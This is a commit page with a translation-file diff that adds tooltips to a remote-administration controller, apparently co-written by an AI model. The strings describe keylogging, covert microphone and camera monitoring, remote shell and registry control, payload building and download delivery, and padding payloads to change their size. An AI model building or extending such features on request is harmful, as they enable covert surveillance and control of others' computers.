Feature: add tooltips to the main toolbar and status bar

The main toolbar already carried CBRS_TOOLTIPS/CBRS_FLYBY, but the dialog had
no TTN_NEEDTEXT handler, so hovering produced no usable text. The status bar
had no pane-level tooltip at all: CStatusBar panes are not child windows.

Add a shared tip text builder and ANSI/Unicode TTN_NEEDTEXT handlers. The
toolbar supplies one line per command, noting which actions need a selected
host. The dialog's OnToolHitTest maps the cursor onto status-bar panes, which
report live TLS, MCP, FRP, runtime and licence-expiry text; the hit pane index
is recorded so the delayed text request cannot pick a neighbouring pane. The
status bar is a Unicode window, so the W notification is handled too, decoding
GBK with code page 936 rather than the system ACP. Width is widened for
multi-line tips and every string goes through _TR.

Add the 36 new strings to en_US, zh_TW and de_DE (GBK, literal \n). Toolbar
buttons share one width taken from the longest label, so duplicate keys
(Registry Mgr, Build Server, Keylogger, Connections, 登錄檔管理, 產生伺服器端,
and long German labels) pushed every button to 111px and clipped the last
icons. Shortening the effective labels brings them to 85px so all 19 fit a
1920-wide monitor.

Verified with a Debug x64 build and automated hovering of all 19 buttons plus
6 status panes in en_US, zh_TW and de_DE (25/25 each); zh_CN passed earlier.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-12-01 18:32:12 +01:00
1 parent f1315a8790
commit 1d03cbeb3f
5 files changed
+377 -27

No files matched your search

+42 -6
View File
@@ -83,10 +83,10 @@ RTT=RTT
窗口管理=Window Mgr
命令行=Shell
注册表=Registry
注册表管理=Registry Mgr
注册表管理=Registry
服务管理=Service Mgr
服务管理器=Service Mgr
键盘记录=Keylogger
键盘记录=Keylog
语音监听=Audio Spy
视频监控=Video Spy
视频查看=Video View
@@ -95,7 +95,7 @@ RTT=RTT
远程音频=Remote Audio
远程视频=Remote Video
系统管理=System Mgr
生成服务端=Build Server
生成服务端=Build
即时消息=Message
虚拟屏幕=Virtual Screen
隐私屏幕=Privacy Screen
@@ -514,7 +514,7 @@ QQ
服务生成=Build Service
帮助=Help
参数配置=Configuration
键盘记录=Keylogger
键盘记录=Keylog
; ============================================
; Status Messages
@@ -2135,7 +2135,7 @@ JPEG
%s · 不受限速(受网络带宽约束)=%s · Unlimited (limited by network bandwidth)
文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed has been pushed to online clients, and newly connected hosts will get it automatically.
连接管理=Connections
连接管理=Sessions
%s - 连接管理=%s - Connections
本地地址=Local Address
本地端口=Local Port
@@ -2324,4 +2324,40 @@ APK
启用后载荷通过 HTTP 下载投递:\n文件放到程序的 Payloads 目录,或填写下载地址;\n受管机器上线时按地址下载载荷。\n仅 ShellCode AES 且载荷不是「当前程序尾部」时可用。=Enables HTTP download delivery of the payload:\nput the file in the program's Payloads folder, or enter a download URL;\nthe managed machine downloads it when it comes online.\nOnly available for ShellCode AES and payloads other than 'appended to current program'.
载荷下载地址(http/https),最长 255 字符。\n留空时默认用本机 Web 端口:\nhttp://<主控IP>:<Web端口>/payloads/<文件名>。\n仅勾选「下载服务」时显示。=Payload download URL (http/https), up to 255 chars.\nEmpty defaults to this machine's web port:\nhttp://<master IP>:<web port>/payloads/<file name>.\nShown only when Download service is checked.
勾选后把服务端 TLS 证书锚写进载荷,首次连接即加密,避免首连明文。\n仅 Windows 客户端模板、TCP/HTTP 协议且服务端已启用 TLS 时可用;\n不可用时复选框文案会直接写明原因。=Embeds the server TLS trust anchor into the payload so the first connection is encrypted.\nOnly available for Windows client templates with TCP/HTTP when the server has TLS enabled;\nwhen unavailable, the checkbox label explains why.
程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。=Padding: %d MB (0-256 MB).\nAppends random data to the file to change its size; does not affect execution.
程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。=Padding: %d MB (0-256 MB).\nAppends random data to the file to change its size; does not affect execution.
打开选中主机的远程终端(CMD)。\n需先在在线列表中选择一台主机。=Open the remote terminal (CMD) on the selected host.\nSelect a host in the online list first.
查看并管理选中主机的进程(结束/挂起)。\n需先选择主机。=View and manage processes on the selected host (end/suspend).\nSelect a host first.
枚举并控制选中主机的窗口(显示/隐藏/关闭)。\n需先选择主机。=Enumerate and control windows on the selected host (show/hide/close).\nSelect a host first.
打开远程桌面,查看并控制选中主机的屏幕。\n需先选择主机。=Open the remote desktop to view and control the selected host's screen.\nSelect a host first.
打开远程文件管理器,浏览、上传和下载文件。\n需先选择主机。=Open the remote file manager to browse, upload and download files.\nSelect a host first.
监听选中主机的声音或麦克风。\n需先选择主机。=Listen to the selected host's sound or microphone.\nSelect a host first.
查看选中主机的摄像头画面。\n需先选择主机。=View the selected host's camera.\nSelect a host first.
管理选中主机的 Windows 服务(启动/停止/删除)。\n需先选择主机。=Manage Windows services on the selected host (start/stop/delete).\nSelect a host first.
查看和编辑选中主机的注册表。\n需先选择主机。=View and edit the selected host's registry.\nSelect a host first.
查看或开启选中主机的键盘记录。\n需先选择主机。=View or start the selected host's keylogger.\nSelect a host first.
主控参数:监听端口、FRP、TLS、MCP、数据库等。=Master settings: listen ports, FRP, TLS, MCP, database and more.
生成并配置客户端安装包(可嵌入地址、授权与选项)。=Generate and configure the client package (address, licence and options can be embedded).
在在线主机列表中按关键字搜索。=Search the online host list by keyword.
查看版本、关于信息与帮助。=Show version, about and help information.
切换界面语言。=Switch the interface language.
MCP 服务设置:开关、端口与 HTTP/HTTPS。\n修改后需重启主控生效。=MCP service settings: switch, port and HTTP/HTTPS.\nRestart the master for changes to take effect.
查看和管理当前连接/会话。=View and manage current connections/sessions.
与选中主机进行双向文字交谈。\n需先选择主机。=Start a two-way text chat with the selected host.\nSelect a host first.
管理主机分组、备注与批量操作。\n需先选择主机。=Manage host groups, remarks and bulk operations.\nSelect a host first.
TLS 已启用,但证书或私钥加载失败;服务端会拒绝 TLS 握手(fail-closed),明文连接可能仍被接受。\n请检查 [tls] 的 CertPath / KeyPath。=TLS is enabled but the certificate or key failed to load; the server refuses TLS handshakes (fail-closed), while plaintext connections may still be accepted.\nCheck CertPath / KeyPath under [tls].
TLS 未启用:客户端可使用明文连接,或由主控下发信任锚后切换到 TLS。=TLS is not enabled: clients may connect in plaintext, or switch to TLS after the master sends them a trust anchor.
TLS 使用内置自签证书(首次启用时自动生成),信任锚随客户端下发。=TLS uses the built-in self-signed certificate (generated on first enable); the trust anchor is sent to clients.
TLS 使用自定义证书,入站凭据已加载。=TLS uses a custom certificate; inbound credentials are loaded.
MCP 未启用。可在工具栏 MCP 或「扩展」菜单中开启,修改后需重启主控生效。=MCP is not enabled. Enable it from the MCP toolbar button or the Extensions menu; restart the master for changes to take effect.
MCP 已启用:端口 =MCP enabled: port
,协议 =, protocol
。\n修改 MCP 设置后需重启主控生效。=.\nRestart the master after changing MCP settings.
当前对外地址:=Public address:
\n来源:上级配置的 FRPC 地址。=\nSource: FRPC address provided by the parent.
\n来源:本机 FRPS。=\nSource: local FRPS.
\n来源:上级 FRP 代理的 master 地址。=\nSource: parent FRP proxy master address.
\n来源:本机直连(公网 WAN 或局域网 LAN)。=\nSource: direct connection (public WAN or LAN).
普通模式:显示主控本次运行时长。=Normal mode: shows how long this master session has been running.
服务模式:显示累计运行时长;有崩溃记录时显示 MTBF 与失败率。=Service mode: shows cumulative runtime; with crash records, MTBF and failure rate.
授权到期信息:=Licence expiry:
\n剩余天数包含到期当天;已过期时主控功能可能受限。=\nRemaining days include the expiry day; some features may be restricted after expiry.